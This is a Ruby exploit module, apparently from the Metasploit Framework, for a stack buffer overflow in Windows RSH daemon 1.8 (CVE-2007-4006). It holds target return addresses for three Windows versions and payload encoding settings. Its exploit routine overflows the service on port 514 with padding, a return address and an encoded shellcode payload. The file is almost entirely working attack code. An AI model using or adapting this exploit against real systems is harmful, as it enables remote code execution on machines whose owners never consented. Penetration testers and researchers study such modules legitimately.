### $Id: windows_rsh.rb 9179 2010-04-30 08:40:19Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,'Name' => 'Windows RSH daemon Buffer Overflow','Description'=> %q{
This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.
The vulnerability is due to a failure to check for the length of input sent
to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
to be successful.},'Author' => 'MC','License'=> MSF_LICENSE,'Version'=> '$Revision: 9179 $','References' =>
[['CVE','2007-4006'],['OSVDB','38572'],['BID','25044'],],'DefaultOptions' =>
{'EXITFUNC' => 'thread',},'Payload'=>
{'Space'=> 850,'BadChars' => "\x00",'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",'EncoderType' => Msf::Encoder::Type::AlphanumUpper,},'Platform' => 'win','Targets'=>
[['Windows 2003 SP1 English',{'Ret' => 0x77409dbb }],['Windows XP Pro SP2 English',{'Ret' => 0x7e497c7b }],['Windows 2000 Pro SP4 English',{'Ret' => 0x77f81be3 }],],'Privileged' => true,'DisclosureDate' => 'Jul 24 2007','DefaultTarget' => 0))
register_options([Opt::RPORT(514)], self.class)end
def exploit
connect
sploit =(("\x00"+ rand_text_english(1))* 2)+"\x00"
sploit << rand_text_english(1024)+[target.ret].pack('V')
sploit << payload.encoded
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
endend